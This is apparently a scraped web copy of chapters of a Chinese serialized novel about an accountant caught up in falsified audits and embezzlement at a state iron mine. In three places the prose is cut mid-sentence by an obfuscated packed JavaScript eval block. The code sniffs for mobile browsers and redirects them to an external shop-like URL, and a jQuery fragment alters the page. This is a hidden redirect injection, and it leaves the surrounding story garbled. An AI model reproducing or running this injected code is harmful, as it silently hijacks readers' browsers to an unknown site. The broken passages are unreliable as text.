那天下午，韩科长没来上班。老刘悄悄凑过来，压低声音说：“科长一早就去审计局‘沟通’了，听说带了两盒上等的龙井，还有一块上海牌手表。孙科长那人油盐不进，可架不住上面施压啊。”徐师傅泡了杯浓茶，坐在王霖对面，吹开茶叶浮沫：“孙阎王的名号不是白来的，但阎王好见，小鬼难缠。咱们科长岳父是计委老领导，这事大概率能摆平。你就按科长说的写说明，别较真，较真吃亏的是自己。” 王霖没接话。一种从骨头缝里渗出来的疲惫席卷了他，他脱下那件藏青的确良衬衫，搭在椅背上，露出里面贴身穿的白背心，背心的边角已经磨破了。他拿起笔，在草稿纸上胡乱画着，那些数字、票据、谎言交织在一起，织成一张密不透风的网，把他牢牢困住。他不是不知道对错，只是在生计面前，他选择了妥协，选择了低头，哪怕这低头让他无比难堪。 下班后，他没回宿舍，独自去了海边。秋末的海风凛冽刺骨，沙滩上空无一人。他穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196355|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那件白背心，外面套了件张莉给他缝补过的旧外套，外套的肘部打着一块深色的补丁，是张莉用他穿坏的旧裤子改的。王霖脱了鞋，赤脚踏进海水里，冰冷瞬间从脚底窜遍全身，激得他打了个寒颤。他一步步往深处走，海水没过小腿、膝盖、腰腹，外套吸了水，沉甸甸地往下拽，像一副无形的枷锁。这重量，比韩科长给的“辛苦费”更沉，比那笔虚假的账目更重，是良知的负累，是妥协的代价，是他为了体面付出的全部挣扎。 他想起小时候在丹江游泳，穿的是母亲给缝的粗布泳裤，父亲在岸边扯着嗓子喊：“别往深水去！危险！”那时的他胆子大，偏要往江心游，回头望去，父亲的身影小得像指甲盖。可现在，父亲远在千里之外，这片海深不见底，没人再为他喊停。他想起刚到东海时，穿着高中时的旧褂子，攥着四百八十块工资，心里满是憧憬，想着靠自己的本事挣大钱，让张莉过上好日子，让父亲不再受累。可如今，他穿的每一件衣服，不是磨旧的，就是缝补的，或是别人送的，连体面都是借来的，挣的每一分“额外收入”，都沾着谎言的污渍。 海水漫到胸口时，他停住了。海浪托着他的身体，轻轻摇晃，像母亲的摇篮，又像坟墓的入口。有那么一瞬间，他想就这样沉下去，让海水淹没头顶，洗去这一身的污浊、挣扎与愧疚。可他又想起张莉，想起她熬夜给她织毛线衣的样子，想起她给外套打补丁时认真的神情，想起她那句“怎么都能过日子”，终究还是舍不得。 最终，他还是转过身，一步步走回岸边。瘫坐在沙滩上，眼泪毫无预兆地掉了下来。没有哭声，只有大颗大颗的泪珠滚落，混进脚下的海水里，分不清哪是泪，哪是海。他哭丹江边那个穿粗布泳裤的少年，哭那个穿着校服、坚信凭本事就能立足的自己，哭那个穿着缝补外套、在谎言里苟活的当下。他哭自己终究没能抵挡住诱惑，没能守住初心，成了自己曾经最不齿的人。 哭够了，他用袖子擦干脸，站起身。湿透的外套黏在身上，风一吹，冷得发抖，可他的脚步却异常坚定。沙滩上，一串深深的脚印延伸向岸边，每一步都像是与过去的自己告别。他知道，从这一刻起，那个纯粹的王霖，再也回不来了。 回到宿舍时，天已经黑透。张莉在楼道里急得团团转，穿着一身洗得发白的碎花褂子，看见他浑身湿透地回来，立刻冲上前，声音带着哭腔：“你去哪了？我找了你一下午！快换衣服，要生病的！”她手忙脚乱地帮他找干净衣服，把那件藏青毛线衣递给他，又拿出干毛巾反复擦着他的头发，指尖的温度透过毛巾传过来，暖得人鼻酸。 王霖一动不动地任她摆布，穿上那件厚实的毛线衣，暖意一点点裹住他冰凉的身体。他忽然开口：“孙科长今天来找我了，电力公司的项目，审计出问题了。” 张莉的手停住了，空气瞬间凝固。她看着王霖疲惫的脸，眼底满是担忧，却没追问细节，只是把毛巾递给他，轻声说：“先擦干净，别着凉。” “韩科长让我写书面说明，把漏洞补上，也就是……写假报告。”王霖看着她，看着这个从商南跟他出来的女人，她穿着洗旧的碎花褂子，却比任何人都干净纯粹，这让他无地自容，“我不想写，可我好像……没得选。丢了这份工作，我们连房租都快交不起了，你也不用再跟着我穿旧衣服、打补丁了。” 张莉沉默了很久，楼道里的声控灯灭了，黑暗将两人包裹。她的声音在黑暗里响起，轻却坚定：“那就写。” 王霖愣住了：“你说什么？” “写。”张莉重复道，伸手摸黑抚上他的脸，指尖冰凉，“潘美哥说得对，在这地方，先活下来才最重要。穿旧衣服怎么了？打补丁又怎么了？只要咱们在一起，日子就踏实。王霖，咱不求大富大贵，不求穿多好的衣服，只要你平平安安的。咱爹把你交给我，不是让你逞英雄的，是让我陪着你好好过日子的。” 声控灯被两人的呼吸触发，昏黄的光映亮张莉的脸，眼角还挂着未干的泪痕。王霖看着她，心头最后一道防线轰然倒塌。是啊，先活下来。体面也好，良知也罢，在生计面前，在张莉的陪伴面前，似乎都成了奢侈品。他紧紧抱住张莉，下巴抵在她的发顶，闻着她头发上淡淡的皂角香，穿着她织的毛线衣，心里的愧疚依旧存在，却多了一份咬牙坚持的勇气。 那一夜，王霖坐在桌前写说明。他穿的还是那件藏青毛线衣，温暖的触感让他紧绷的神经稍稍放松。他写废了七八张纸，最终成文的，是一篇逻辑严密、“证据”充分的辩解：价格差异源于市场波动，工程量误差是测量偏差，住宿超标是接待刚需，缺失的记录是工作疏忽……每一个漏洞都被精心修补，每一句说辞都涂满了合规的伪装。他握着笔，手不再发抖，眼神平静得近乎麻木，只是在写下最后一个字时，指尖轻轻摩挲着毛线衣的袖口——那里藏着张莉的温柔，也藏着他的妥协。 写完最后一个字时，天已泛起鱼肚白。他推开窗，晨风裹挟着城市苏醒的喧嚣灌进来，远处的海平面透出微光。他把说明装进档案袋，贴上封条，黏合剂牢牢粘住袋口，像封住了一个不可言说的秘密，也封住了那个纯粹的自己。 出门前，他换上了那件藏青的确良衬衫，依旧把领口理得平整，系上那条旧领带。镜中人眼含血丝，眼神空洞，穿着一身勉强撑场面的旧衣服，像个小丑。他摸了摸内袋里剩下的“辛苦费”，心里没有了当初的悸动，只剩一片麻木——这笔钱，或许能给张莉买件新褂子，能给自己换件没有毛边的衬衫，却换不回他丢失的良心。 走廊里，他遇见了徐师傅。老头儿拎着暖水瓶，穿着一件半旧的中山装，看见他，笑着点头：“早啊小王。” “早，徐师傅。” 擦肩而过时，徐师傅压低声音，语气带着几分了然：“昨晚科长从审计局回来，说事情摆平了。孙阎王被调到下面县里任职，估计是再也回不来了。这年头，太较真的人，走不长远。” 王霖的脚步猛地一顿。 “水至清则无鱼嘛。”徐师傅哼着京剧走远了，唱腔婉转，“我本是卧龙岗散淡的人——” 王霖立在楼道里，晨光斜射进来，照亮空气中飞舞的尘埃。他忽然想起孙科长洗得发白的夹克、磨起毛边的领口，想起他清澈的眼睛，想起那句“良心丢了，就再也找不回来了”。他摸了摸胸口，那里穿着张莉织的毛线衣，温暖踏实，可心里却空荡荡的，像是有什么东西，随着孙科长的离去，彻底消失了。 他抬起脚，继续往前走。楼梯一阶一阶向下，像通往一个既定的归宿。他穿着一身旧衣服，撑着一份虚假的体面，越过了那条分水岭——一边是纯粹的初心，一边是苟活的现实。他选了后者，也背上了沉重的债。 身后，海声隐隐传来。那浪潮永远在涌动，永远在冲刷，带走青涩与纯粹，留下沧桑与负债。而他的债，又添了一笔，记在看不见的账本上，连本带利，要用半生来偿还。那些穿在身上的旧衣服，每一件都藏着他的挣扎与妥协，陪着他，一步步走向那个陌生的自己。 （第四章·分水岭完字数 6892） 15. 《半生债》中卷 第五章·余烬 《半生债》中卷第五章·余烬 孙科长调走的消息，像投入温水的冰，悄无声息就化了。财务科依旧是老样子，算盘声噼啪不停，票据堆成小山。 只是王霖看那些数字时，眼里的较真早没了，只剩指尖划过纸页的麻木。曾经让他死磕到底的小数点，如今不过是报表上的符号，和韩科长递来的烟、温茶一样，全是程式化的敷衍。 韩科长对他愈发“器重”，重要项目都优先交给他。递烟、让茶的动作里，藏着明晃晃的亲近与试探。王霖一一接下，动作熟练得像演练过千百遍。 他常穿那件米白羊毛衫，羊毛被体温焐得柔软，边角已起了细绒，像被磨平的锋芒。可一低头看见领口，百货大楼里那沓发潮的钞票就会浮现。 牛皮纸信封里剩下的钱，他分文未动。用母亲留下的蓝布手帕包好，压在木箱最底层，和张莉的布票、两人的结婚证叠在一起。这方针脚细密的手帕，是他对“干净”仅存的执念。 周五傍晚，潘美突然找上门，脸色比深秋的阴云还沉。他攥着个磨亮的粗布包，硬拉王霖往巷口走，包里的零钱硌得指节泛白。 “贷款黄了。”潘美踢着路边碎石，声音闷得发堵，“昌荣集团那一千万贷款批下来，把咱们这片的低息额度全占了。” 王霖脚步一顿，鞋底蹭起浮尘。他猛地想起那份补充协议，想起韩科长拍着他膝盖说的“资金链路要通”。原来那时，潘美的创业机会就被悄无声息挪给了港商。 他是旁观者，是参与者，更是帮凶。千言万语堵在喉咙，最终只化作一声轻得像风的叹息，混在摊贩收摊的吆喝里。 “更可气的是，”潘美压低声音，眼底满是不甘，“贷款抵押物是伪造的，评估报告也动了手脚。可韩科长拿了好处，上面盯着政绩，没人敢查。” 巷口录像厅正放《英雄本色》，枪声、歌声混着人声飘来。王霖望着那扇昏黄的门，韩科长办公室的“上善若水”墨迹，与孙科长洗得发白却整洁的夹克，在脑海里交替闪现。 “别查了，没用。”他喉结一动，吐出这句话。体制内的规则，从来不是对错能衡量的。 潘美愣住，随即苦笑松手，肩膀垮了下去：“我知道没用，就是不甘心。咱想踏实做生意，凭本事吃饭，连机会都抢不到。” 他拍了拍王霖的肩：“你在里面也难，别勉强自己。秀琴说张莉在攒布票给你做棉裤，我家还有两寸，回头让她送来。” 两人沉默往回走，录像厅的歌声追着晚风而来：“原谅我这一生不羁放纵爱自由……” 王霖裹紧羊毛衫，暖意贴肤，却暖不透心底的凉。他想起张莉灯下数布票的模样，心里的秤反复摇晃。这份“安稳”，根本不是他想要的归宿。 这份挣扎没持续多久。一周后，一张印着鲜红公章的调令，落在了他桌上——调往分部下属铁矿，任主管会计。 韩科长亲自送来，端着保温杯，笑容意味深长：“小王，铁矿是重点项目，组织信得过你。条件苦点但能历练人，做出成绩，提拔稳了。” 王霖捏着调令，指尖冰凉。他瞬间懂了，这不是提拔，是“外放”。他知道太多内幕，成了隐患，被打发去偏远铁矿，既是安抚，也是隔离。 他抬头看向韩科长，对方眼里的算计毫不掩饰。王霖忽然淡笑一声，起身颔首：“服从组织安排。”离开这是非之地，或许是种喘息。 收拾行李那晚，张莉蹲在地上叠衣服，眼泪掉在棉絮上，晕开湿痕。她手里攥着刚织好的藏青毛线裤，针脚细密。 “真要去？听说铁矿在深山里，连口热饭都未必能吃上。” 王霖蹲下身，帮她擦去眼泪，指尖触到她手里皱巴巴的布票——那是她攒了半个月，本想给自己做衬里的。 “去。”他语气平静，眼底藏着释然，“在这里耗着也是煎熬，换个地方，或许能清净点。”对体制的热忱，早已在一次次妥协中，耗得只剩余温。 他曾侥幸以为，远离财务科的尔虞我诈，就能凭本事踏实做事。可坐着矿上的桑塔纳，在颠簸山路上辗转数小时后，这份侥幸碎成了齑粉。 开车的小伙子叫小李，二十出头，穿件洗白的工装夹克，话少得可怜。只一句“我叫小李，以后我送你”，便全程沉默。但他手脚勤快，停车就主动搬行李，低着头，脊背却挺得笔直。 铁矿比想象中更荒芜。几排红砖房立在山坳里，墙面爬满黑褐色煤尘，风一吹就往下掉渣。空气里满是铁锈与煤烟味，呛得人直咳嗽。 矿长孙宝迎了上来，穿件花衬衫，领口敞着，脖子上的粗金链走路时叮当作响。他语气轻佻傲慢：“王会计是吧？跟着我干，亏不了你。” 他看向王霖羊毛衫的眼神，藏着一丝轻蔑，像在看个不懂规矩的书生。 一旁站着位年过五旬的老者，穿一身笔挺中山装，头发梳得一丝不苟，与这荒芜的环境格格不入。他是技术副矿长老周，前农行副行长。 王霖伸手去握，老周的手沉稳有力，却只轻轻一触便收回。眼神里的审视与疏离，像在掂量他的底细。 后来王霖才知，孙宝私下总说老周“老奸巨猾”，老周却从不辩解，只在孙宝胡来时避其锋芒。两人表面和睦，实则处处角力，铁矿成了无声的战场。 四人团队就此凑齐：骄横的孙宝，圆滑的老周，木讷的小李，还有进退两难的王霖。 王霖住的单间墙面斑驳，墙角堆着煤块。窗外就是废弃矿洞，黑黢黢的洞口像蛰伏的巨兽，夜里风穿矿洞而过，呜咽声听得人心慌。 他躺在床上，摩挲着羊毛衫，潘美、孙科长的话，还有木箱底的钱，在脑海里盘旋。他忽然明白，体制内的铁饭碗，不过是困住人的牢笼。 他以为铁矿是逃离，却踏入了更深的泥沼。第二天一早，他去财务室整理账目，狭小的房间里，旧账本堆在墙角，落着一层煤尘。 一翻开账本，他就觉出不对：流水混乱，日期颠倒，数额对不上，大量票据缺失。标注的“设备采购款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196356|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”“工程款”，连合同和验收凭证都没有，全是糊涂账。 孙宝叼着烟站在门口，烟雾缭绕中，语气轻描淡写却强势：“小王，矿上的账别太较真，差不多就行。灵活点，大家都好过。” 王霖攥紧账本，指节泛白。这场景和韩科长让他“技术处理”报表时如出一辙，都是用“灵活”掩盖违规。 他抬头看向孙宝，对方眼里的嚣张毫不掩饰。王霖忽然觉得可笑，又彻底心死——他坚守的原则，在权力利益面前，不堪一击。 往后的日子，铁矿的乱象远超他想象。孙宝把附近小饭店当免费食堂，吃喝完只一句“记账”就走。 饭店老板是老实村民，靠着小店拉扯一家老小。上门讨债时，被孙宝呵斥驱赶，摔在地上只能默默抹泪，敢怒不敢言。 铁矿占用村民土地，本该足额发放的青苗补偿费，被孙宝克扣大半。村民结伴上门讨说法，却被他找来的地痞驱散，棍棒相加，打得几人鼻青脸肿。 从此再没人敢上门，只能在背地里抱怨，邻里间满是压抑的戾气。 老周表面不问世事，每日只看图纸、查矿场。可王霖偶然发现，他傍晚总躲在废弃煤棚，和一个商人模样的男人低语。 那是原私营矿主。老周暗中与其勾连，在资金、开采权上处处算计孙宝，双方明争暗斗，把铁矿当成了博弈棋盘。 王霖后来见过那矿主一次，精瘦中年，穿考究西装，眼神锐利如鹰。他对账务格外上心，却从不管开采进度和工人死活。 矿主的小儿子更是纨绔，染着黄发，穿名牌夹克，仗着父亲持股，常带跟班闯进办公室撒野。 他对着账本指手画脚，嫌不够“合心意”，甚至把账本摔在王霖面前，溅起一层煤尘。王霖想争辩，却被孙宝打断：“别跟他一般见识，他爹是股东，得罪不起。” 夜里的铁矿，更是藏污纳垢。孙宝的房间灯火通明，黄色录像、狂笑、酒瓶碰撞声，穿透墙壁，在山坳里格外刺耳。 王霖关紧门窗，蒙住被子，却挡不住那些声响。他摸出床底的木箱，翻开蓝布手帕裹着的钱，掌心贴着母亲的针脚，这是泥沼里仅存的干净。 山风呼啸过矿洞，呜咽声像在控诉，又像在预示风暴。王霖望着漆黑的天花板，心里的念头愈发清晰。 体制内的腐朽，他无力改变。他不想再做权力的棋子，不想在对错边缘挣扎，更不想耗尽半生换一身污浊。 跳出铁饭碗，去私营企业凭本事做事，哪怕从零开始，也比在泥沼里耗光初心好。这个念头一旦生根，便成了暗夜里的微光。 他知道自己早已卷入棋局，无从脱身。孙宝的克扣、老周的算计、矿主的野心，织成一张无形的网。 但他更清楚，总有一天，他要掀翻这棋盘，带着张莉，带着木箱里的干净与执念，走向属于自己的天地。 余烬之中，那点微光虽弱，却足以支撑他守住希望，等待燎原之时。 （第五章·余烬完字数 4126） 16. 《半生债》中卷 第六章·矿灯如豆 《半生债》中卷第六章·矿灯如豆 铁矿的清晨是从咳嗽声开始的。五点半，矿工宿舍的铁皮门“哐当哐当”撞着门框，咳嗽声像锈蚀的破风箱，在山坳里此起彼伏地拉扯。 王霖躺在硬板床上，透过糊着旧报纸的窗户缝往外瞅。天还是沉郁的蟹壳青，远处山脊的轮廓蜷曲着，像头蛰伏的巨兽。唯有矿洞口那两盏长明灯在薄雾里浮着昏黄光晕，蔫得如同垂死者半阖的眼睛。 他摸过那件米白羊毛衫套上——在矿井终年不散的潮气里，这薄软的织物是唯一能裹住暖意的东西。推开门的瞬间，山风卷着细沙似的煤尘猛灌进来，呛得他喉间发紧，忍不住弯着腰咳了两声。 食堂门口已排起歪扭的长队，矿工们端着搪瓷碗，碗边磕得坑洼，露出底下发黑的铁胎。早饭是寡淡的玉米糊糊和硬邦邦的咸菜疙瘩，糊糊稀得能映出人影，舀一勺能看见碗底的纹路。 “王会计，这儿！”小李在角落的桌子边小声招手，声音压得极低。 王霖端着碗走过去，小李赶紧往旁边挤了挤，给他腾出半块桌面。这二十出头的小伙子总习惯低着头，说话时眼神黏在地面，像怕与人对视时撞破什么。他的手指关节粗大变形，指甲缝里嵌着深褐色的煤灰，洗了无数遍也褪不干净，成了刻在手上的印记。 “李师傅在矿上待几年了？”王霖搅着碗里的糊糊，轻声问。 “三年。”小李的声音细若蚊蚋，“以前在井下凿岩，后来孙矿长说我会开三轮车，就调上来当通勤司机，不用下井了。” “井下……想必是极苦的。” 小李猛地抬头看了王霖一眼，又飞快地垂下脑袋，睫毛上沾着的细尘簌簌落下：“苦是真苦，可挣钱比地上多。井下一个月能拿一百二，比在地面打杂多三十块。” 他顿了顿，指尖无意识地抠着碗沿，声音里裹了层涩：“就是险。去年塌方，埋了两个，一个是我同乡，才十九岁，家里就他一个劳力。” 王霖握着瓷碗的手紧了紧，竟不知该接什么话。他想起自己一个月八十七块五的工资，想起矿上荒诞的价值尺度——生命、尊严、风险，都被换算成冰冷数字，在账本上勾来划去。 吃完饭，王霖往财务室走。所谓财务室，不过是红砖房里隔出的一小间，墙皮大块脱落，露出里面草拌泥的底色，墙角还结着暗绿色的霉斑。 老周已经在里头了，正拿着鸡毛掸子慢悠悠拂去账本上的灰尘，动作轻得像在对待圣物。他今天换了件灰色的确良衬衫，领口扣得严严实实，遮住了脖子上的旧疤。 “早。”王霖打招呼。 老周点点头，没吭声，继续拂灰。阳光斜射进来，照得煤尘漫天飞舞，也照亮了他鬓角的花白。王霖刚翻开考勤本，外面就传来皮鞋踩地的“噔噔”声——孙宝来了。 孙宝晃悠着推门进来，穿件花格子衬衫，脖子上的金链子粗得晃眼。他一进门就把脚跷在办公桌上，皮鞋底的黄泥蹭得桌面满是污渍。 “小王，把上个月的工资表赶出来。”他叼着烟，烟圈喷在王霖脸上，“井下的按出勤算，地上的……就按我给你的人数来。” 王霖翻开考勤记录，井下工人栏里，三个名字被红笔划了横线——是上个月工伤住院的。他抬头看向孙宝：“孙矿长，这几人是工伤，工资怎么算？” “算个屁！”孙宝吐掉烟蒂，用皮鞋碾灭，“人都不能干活了，矿上凭什么养着？又不是慈善堂。” “劳动合同里写了，工伤期间带薪……” “合同？”孙宝嗤笑，满脸讥诮，“在这铁矿，我孙宝的话就是合同！”他凑过来拍王霖的肩，力道沉得压人，“别太较真，不然对你没好处。” 王霖盯着考勤本上的红杠，其中刘铁柱的名字旁备注着“左腿粉碎性骨折”。他想问医药费，话到嘴边又咽了回去——问了也是白问。 正僵持着，几个农民扛着锄头闯了进来，领头的李村村长脸涨得通红：“孙宝！青苗补偿款拖了半个月，到底给不给？” 孙宝脸色一沉，刚要发作，村长已带着人堵上来：“碾了十二亩地，六百块，今天必须给！不然就堵矿洞口！” 孙宝骂了句“刁民”，转身就往办公室跑。农民们立刻追出去，院子里瞬间乱作一团。有人踹车门，有人砸玻璃，最后竟合力把吉普车推下了土沟。 “孙宝！不赔钱，这就是下场！”村长站在沟边喊。 孙宝气得浑身发抖，却不敢上前。等农民们走后，他对着车跳脚咒骂，转头冲王霖喊：“这车维修费赶紧报销，多少钱都报！” 王霖没应声。他清楚，这笔修车费不该走公账，孙宝不过是想让矿上为自己的蛮横买单。 下午，王霖去库房清点设备。半塌的工棚里堆着生锈的矿车、断裂的钢钎，空气中弥漫着铁锈味。小李正蹲在地上，用细铁丝缠水泵的裂缝，手上满是油污。 “这泵还能修？”王霖走过去问。 小李抹了把汗，苦笑：“勉强凑合用。新泵要八百多，孙矿长舍不得买。”他压低声音，“矿上账上不缺钱，都被他造完了，吃喝嫖赌的发票全拿来报销。” 王霖心里一沉。这几天整理单据，他果然看到不少蹊跷发票：餐饮费、化妆品费、住宿费，没一张和矿上业务沾边。尤其是修车费单据，竟写着三万二，还附了孙宝的签字。 孙宝催报销时，王霖直接把单据推了回去：“不合规，我不能签。修车费是你的私纠纷，这些发票也和业务无关。” 孙宝瞬间翻脸，把单据往桌上一拍：“我是矿长，我说能报就能报！你一个破会计也敢拦我？” “我是会计，就有责任守住账本。”王霖弯腰捡单据，语气坚定，“不合规的，一律不报。” 孙宝气得揪住王霖的衣领，把他往墙上推。王霖猛地推开他，孙宝撞在桌角上，疼得龇牙咧嘴。他挥着拳头扑过来，两人瞬间扭打在一起。 矿工们闻声围过来，却没人敢拉架。孙宝身子早被掏空，没一会儿就喘得不行。王霖被踹中肚子，踉跄着拾起一块砖头，眼底翻涌着积压的怒火。 孙宝嘶吼着扑来，王霖侧身躲开，砖头重重砸在他肩膀上。“咔嚓”一声闷响，孙宝惨叫着瘫倒在地，脸色惨白。 院子里瞬间安静。王霖握着砖头站在原地，胸口剧烈起伏，那口憋了许久的恶气，终于散了大半。小李探出头，看向他的眼神里多了几分敬畏。 这一架，让王霖在矿上一战成名。矿工们私下议论，说新来的会计是硬骨头，那些被欺压的矿工，看他的眼神里终于有了光亮。 麻烦也接踵而至。孙宝肩膀骨裂，养了半个多月才回来。他不敢明着报复，竟拿着单据找了远房亲戚孙科长，硬生生报了三万二的维修费。 这事传到王霖耳朵里时，他正在核对账本。老周坐在旁边叹气：“你彻底得罪了他，往后必遭报复。” 王霖用笔在账本上重重划了一道。他早料到孙宝会耍手段，却没料到孙科长竟徇私枉法。这矿上的水，比他想象的更深。 孙宝回来后愈发变本加厉。每天下午就往镇里跑，把矿上的事丢给副手。“夜来香”饭馆成了他的据点，还在镇里租了房养情妇，花销全靠假发票报销。 这些事早已人尽皆知。矿工们骂他吸血鬼，村民们恨他横行霸道，却都敢怒不敢言。 一次，小李送王霖去镇里买账本，路过孙宝的租房，正好看见他搂着个穿红裙的女人出来。女人手上的金手镯，亮得晃眼。 “那是他情妇，以前是夜来香的小姐。”小李压低声音，满是鄙夷，“矿上人的工资被克扣，他倒有钱挥霍。” 王霖看着两人钻进车里，心里像堵了块石头。刘铁柱躺在医院拿不到工资，矿工们吃着稀糊糊，孙宝却在灯红酒绿里挥霍血汗钱。 晚上，王霖在财务室加班做工资表。老式台灯的昏黄光线，照得账本上的数字忽明忽暗。 他翻到刘铁柱的名字，犹豫片刻，郑重写下“104.00”——这是对方上个月的全额工资。又翻到自己的名字，把“87.50”划掉，改成了“0”。账要做平，这是他能做的微薄反抗。 窗外传来矿工宿舍的咳嗽声，断断续续，是吸了太多煤尘的肺在呻吟。王霖走到窗边，月光洒在矿区，废弃矿洞像个黑洞，吞噬着光线与希望。 他想起小时候后山的山洞，火把熄灭时的恐惧是具体的。可现在，贪婪、腐败、麻木，比黑暗更可怕。他不甘心就此沉沦。 山风呼啸，电线呜呜作响。远处的矿灯如豆，明明灭灭，像不肯熄灭的微光。王霖握紧拳头，和孙宝的较量，才刚刚开始。 回到房间，他打开木箱，拿出那方蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196357|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布手帕裹着的钱。数了数，还剩一百五十块。垫付刘铁柱的工资后，他这个月分文不剩，连张莉看中的小平房房租都凑不齐。 张莉的信还揣在贴身口袋里，信纸带着雪花膏的清香，在煤尘味里格外清新。信上字迹温柔：“潘美帮我看了小平房，有独立厨房。你什么时候回来？我一个人住着害怕。” 王霖把信贴在胸口，眼眶发热。他多想立刻回去，可他不能走。他要试着撕开这黑暗的一角，为这里的人，也为自己，争一点公道。 第二日一早，王霖刚到财务室，就看见孙宝带着两个地痞堵在门口。孙宝吊着胳膊，脸色阴鸷：“王霖，你敢扣我报销款，还敢砸伤我，今天就让你滚出铁矿！” 地痞上前一步，伸手就要抓王霖的胳膊。王霖侧身躲开，冷声道：“我是分部任命的主管会计，你没资格开我。倒是你，虚报报销、克扣工资，要不要我把单据递去总部？” 孙宝脸色一变，随即狞笑：“单据？你以为我会留证据？再说，孙科长是我亲戚，谁信你？” “我信。”一个声音突然响起。老周从财务室走出来，手里拿着一叠单据，“这些年你虚报的报销凭证，我都留着备份。” 孙宝愣住了，不敢置信地看着老周：“你……你敢阴我？” 老周把单据放在桌上，眼神锐利：“我是来做事的，不是陪你挥霍的。这些单据，足以让你吃不了兜着走。”他早看不惯孙宝的所作所为，只是一直隐忍，王霖的硬气，终于让他动了手。 地痞见状，想上前抢单据。小李突然从人群后冲出来，手里握着根钢钎，虽依旧低着头，语气却异常坚定：“谁也别想动单据！” 矿工们也围了过来，有人喊：“王会计没错！孙宝才是吸血鬼！”人群的声浪越来越高，孙宝的脸色一阵青一阵白。 他没想到老周会反水，更没想到矿工们会站在王霖这边。僵持片刻，孙宝狠狠啐了一口：“你们给我等着！”带着地痞灰溜溜地走了。 人群散去后，老周递给王霖一支烟：“这小子不会善罢甘休，他肯定会找孙科长施压。” 王霖接过烟，点上：“我知道。但只要我们攥着证据，他就不敢太放肆。” 小李也凑过来，小声说：“王会计，我知道孙宝藏假发票的地方，我带你去拿。”他在矿上三年，早就摸清了孙宝的底细，只是一直不敢说。 三人一拍即合。当天傍晚，小李带着王霖和老周，摸到了孙宝办公室的储藏柜。柜子深处，果然藏着一沓未报销的假发票，还有一本私人账本，记录着他克扣工资、挪用公款的明细。 王霖把账本和发票收好，心里有了底。他连夜抄录了一份明细，让小李悄悄送到分部纪检处——孙科长虽徇私，但总部纪检处的人，未必会买账。 等待消息的那几天，孙宝格外安分，只是偶尔用怨毒的眼神盯着王霖。矿工们却愈发亲近王霖，有人偷偷给他塞两个白面馒头，有人把烤好的红薯放在他门口。 三天后，分部纪检处的人来了。他们直接找到王霖，拿走了证据，又单独约谈了孙宝和老周。 孙宝试图狡辩，还打电话给孙科长求救，可孙科长怕被牵连，早已闭门不见。铁证如山，孙宝挪用公款、虚报报销的罪名确凿。 当纪检处的人宣布撤销孙宝矿长职务，将其移交处理时，矿工们爆发出雷鸣般的掌声。山坳里的咳嗽声依旧，却仿佛多了几分轻快。 孙宝被带走那天，恶狠狠地瞪着王霖，却再没了往日的嚣张。他的情妇也卷走了他的私产，消失得无影无踪。 矿上暂时由老周代管。他第一件事，就是补发了矿工们被克扣的工资，给刘铁柱送去了医药费和工伤赔偿。食堂的糊糊也稠了些，多了点青菜。 王霖看着账本上工整的数字，终于松了口气。他拿出张莉的信，在灯下写回信：“快了，等矿上安稳了，我就回去接你。” 窗外的矿灯依旧如豆，在深山里摇曳。这微光虽弱，却驱散了部分黑暗，照亮了前行的路。王霖知道，这不是结束，矿上还有许多乱象要整治，但他不再孤单。 老周的沉稳、小李的勇敢、矿工们的信任，还有胸口那封信的温度，都成了他的底气。余烬之上，微光渐亮，这矿灯如豆，终将汇聚成燎原之火。 （第六章·矿灯如豆完字数 6587） 17. 《半生债》中卷 第七章·地火 《半生债》中卷第七章·地火 雨是从后半夜缠上矿区的，起初只是淅淅沥沥的毛雨，拂晓时竟泼成了瓢泼模样。 山洪顺着两侧沟壑猛冲下来，卷着碎石、断枝与黑褐色煤泥，在主干道汇成浑浊溪流。轰隆隆的声响裹在雨幕里，像井下深处传来的闷雷。 王霖被声响惊醒，推开糊着旧报纸的窗户，整个矿区泡在浑黄里。矿洞口的长明灯被雨浇得只剩一团昏影，在风里摇摇欲坠。 早饭时，食堂的玉米糊糊比往日更稀。矿工们端碗的手都在抖，不是饿的，是昨夜井下渗水让人心有余悸。 小李坐在对面，啃着硬咸菜，声音压得极低：“王会计，雨一泡井壁土就松，今天下井凶险得很。”他指甲缝里的煤灰被雨水泡得发乌，“我见过渗水泡塌掌子面，两个工友埋在里面，挖出来时都凉透了。” 王霖握着瓷碗的手一紧，想起考勤本上的刘铁柱，想起垫付的工资。饭后雨势稍缓，他找井下调度老张，要下井核查设备损耗——这是财务本分。 老张诧异却不敢拦，递来一套发白旧工装和矿灯，反复叮嘱：“跟着班组走，掌子面那边最危险。” 